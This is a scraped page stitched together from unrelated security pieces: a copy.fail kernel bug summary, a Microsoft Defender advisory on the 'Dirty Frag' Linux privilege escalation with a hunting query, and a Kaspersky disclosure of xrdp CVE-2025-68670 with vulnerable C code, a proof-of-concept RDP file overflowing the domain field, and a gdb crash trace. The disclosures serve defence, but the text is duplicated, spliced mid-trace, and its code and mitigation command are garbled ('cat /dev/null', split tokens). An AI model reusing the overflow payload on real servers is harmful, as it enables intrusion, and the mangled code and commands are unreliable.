Stay away from sponsored ads in search results. Anyone can buy them and make them look legitimate.
Pro tip:Β The freeΒ Malwarebytes Browser GuardΒ extension warns you when a website tries to copy something to your clipboard.
Stop threats before they can do any harm.
Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser β
copy.fail is a Linux kernel local privilege escalation, not a browser or clipboard attack. Disclosed by Theori on 29 April 2026 with a working PoC.
It abuses the kernel crypto API (AF_ALG sockets) plus splice() to write four bytes at a time straight into the page cache of a file the attacker does not own.
The exploit works unmodified across Ubuntu, RHEL, Debian, SUSE, Amazon Linux, Fedora and most others. No race condition, no per-distro offsets.
The file on disk is never modified. AIDE, Tripwire and checksum-based monitoring see nothing.
Kubernetes Pod Security Standards (Restricted) and the default RuntimeDefault seccomp profile do not block the syscall used. A custom seccomp profile is needed.
The mainline fix landed on 1 April. Distros are rolling kernels out now. Patch.
βLocal privilege escalationβ sounds dry, so let me unpack it. It means: an attacker who already has some way to run code on the machine, even as the most boring unprivileged user, can promote themselves to root. From there they can read every file, install backdoors, watch every process, and pivot to other systems.
Why does that matter on shared infrastructure? Because βlocalβ covers a lot of ground in 2026: every container on a shared Kubernetes node, every tenant on a shared hosting box, every CI/CD job that runs untrusted pull-request code, every WSL2 instance on a Windows laptop, every containerised AI agent given shell access. They all share one Linux kernel with their neighbours. A kernel LPE collapses that boundary.
A newly disclosed Linux local privilege escalation vulnerability known as βDirty Fragβ enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.
Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.
This article details an ongoing investigation into active campaign. We will update this report as new details emerge. Latest update: May 14, 2026.
May 14 update
A new variant of the recent Dirty Frag vulnerability, named Fragnesia (CVE-2026-46300), has been discovered. Similarly to Dirty Frag, this variant leverages a different bug to be able to manipulate Linux page cache behavior to achieve privilege escalation. Fragnesia leverages a bug in the esp/xfrm module only, unlike Dirty Frag that also provided an attack path via rxrpc.
Signatures Trojan:Linux/DirtyFrag.Z!MTB and Trojan:Linux/DirtyFrag.DA!MTB, released initially to cover Dirty Frag, also cover the public exploit for Fragnesia and can be used as indicators of a possible abuse of this vulnerability. A patch is available, and while no in-the-wild exploitation has been observed at this time, we urge users and organizations to apply the patch as soon as possible by running update tools. If patching is not possible at this point, consider applying the same mitigations for Dirty Frag.
Why Dirty Frag matters
Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.
Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.
This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.
Technical overview
Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.
The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.
Exploitation scenarios
Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:
Compromised SSH accounts
Web-shell access on internet-facing applications
Container escapes into the host environment
Abuse of low-privileged service accounts
Post-exploitation activity following phishing or remote access compromise
Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.
Limited In-The-Wild Exploitation
Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving βsuβ is observed, and which may be indicative of techniques associated with either βDirty Fragβ or βCopy Failβ.
The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via βsuβ.
After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files β first deleting multiple session files and then forcefully wiping additional ones β before reading remaining session data, indicating both disruption of active sessions and access to session contents.
Mitigation guidance
The Linux Kernel Organization released patches, which are linked at theΒ National Vulnerability DatabaseΒ (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.
While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.
Recommended actions include:
Disable unused rxrpc kernel modules where operationally possible
Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
Restrict unnecessary local shell access
Harden containerized workloads
Increase monitoring for abnormal privilege escalation activity
Prioritize kernel patch deployment once vendor advisories are released
The following example prevents vulnerable modules from loading and unloads active modules where possible:
cat /dev/null
These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.
Post-mitigation integrity verification
Mitigation alone may not reverse changes already introduced through successful exploitation attempts.
If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.
echo 3 | sudo tee /proc/sys/vm/drop_caches
Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.
Microsoft Defender coverage
Microsoft Defender XDR customers can refer to theΒ followingΒ list of applicable detections below that provides coverage for behaviors surrounding βDirty Fragβ exploitation.
Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.Β
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.Β
Microsoft Defender Vulnerability Management β Microsoft Defender Vulnerability Management surfaces devices vulnerable to βDirty Fragβ which are linked to the following CVEs:
CVE-2026-43284 CVE-2026-43500 CVE-2026-46300
Advanced hunting query
Customers can use this advanced hunting query to surface possible exploitation.
let fragnesia = DeviceProcessEvents
| where Timestamp >= ago(1d)
| where ProcessCommandLine has "fragnesia"
| distinct DeviceId
;
let lpeModuleTerms = dynamic(["algif-skcipher","net-pf-38","crypto-seqiv(rfc4106(gcm(aes)))","xfrm-type-10-50"]);
DeviceProcessEvents
| where Timestamp >= ago(1d)
| where DeviceId in (fragnesia)
| where ProcessCommandLine has_any (lpeModuleTerms)
| distinct DeviceId
Microsoft Defender Threat Intelligence
Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability
A newly disclosed Linux local privilege escalation vulnerability known as βDirty Fragβ enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.
Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.
This article details an ongoing investigation into active campaign. We will update this report as new details emerge.
Why Dirty Frag matters
Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.
Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.
This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.
Technical overview
Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.
The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.
Exploitation scenarios
Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:
Compromised SSH accounts
Web-shell access on internet-facing applications
Container escapes into the host environment
Abuse of low-privileged service accounts
Post-exploitation activity following phishing or remote access compromise
Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.
Limited In-The-Wild Exploitation
Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving βsuβ is observed, and which may be indicative of techniques associated with either βDirty Fragβ or βCopy Failβ.
The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via βsuβ.
After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files β first deleting multiple session files and then forcefully wiping additional ones β before reading remaining session data, indicating both disruption of active sessions and access to session contents.
Mitigation guidance
The Linux Kernel Organization released patches, which are linked at theΒ National Vulnerability DatabaseΒ (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.
While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.
Recommended actions include:
Disable unused rxrpc kernel modules where operationally possible
Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
Restrict unnecessary local shell access
Harden containerized workloads
Increase monitoring for abnormal privilege escalation activity
Prioritize kernel patch deployment once vendor advisories are released
The following example prevents vulnerable modules from loading and unloads active modules where possible:
cat /dev/null
These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.
Post-mitigation integrity verification
Mitigation alone may not reverse changes already introduced through successful exploitation attempts.
If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.
echo 3 | sudo tee /proc/sys/vm/drop_caches
Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.
Microsoft Defender coverage
Microsoft Defender XDR customers can refer to theΒ followingΒ list of applicable detections below that provides coverage for behaviors surrounding βDirty Flagβ exploitation.
Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.Β
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.Β
Microsoft Defender Vulnerability Management β Microsoft Defender Vulnerability Management surfaces devices vulnerable to βDirty Fragβ which are linked to the following CVEs: CVE-2026-43284 CVE-2026-43500
Microsoft Defender Threat Intelligence
Microsoft Defender Threat Intelligence published a threat analytics article and a vulnerability profile for this vulnerability
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session β all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) // [3]
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) // [4]
{
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; // [5]
}
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, // [6]
combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, letβs look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') // [8]
{
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); // [9]
if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
}
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain nameΒ β starting from the second character and ending with the double underscore (β__β)Β β is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if itβs technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attackerβs intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial β_β and the subsequent β__β. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP serverβs IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string βAAAAAAAAβ. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gefβ€ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()
Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.
The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
12/15/2025: investigation and prioritization of the vulnerability began.
12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
01/27/2026: the patch was merged into the projectβs main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutionsΒ β such as Kaspersky Thin Client and Kaspersky IoT Secure GatewayΒ β led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.
However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session β all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) // [3]
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;
// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}
while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) // [4]
{
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}
v n -= u8len;
v += u8len;
}
else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}
r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; // [5]
}
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.
CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; // [7]
[..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, // [6]
combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, letβs look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];
/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') // [8]
{
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); // [9]
if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); // [10]
}
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain nameΒ β starting from the second character and ending with the double underscore (β__β)Β β is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if itβs technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attackerβs intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).
To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial β_β and the subsequent β__β. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP serverβs IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string βAAAAAAAAβ. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gefβ€ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
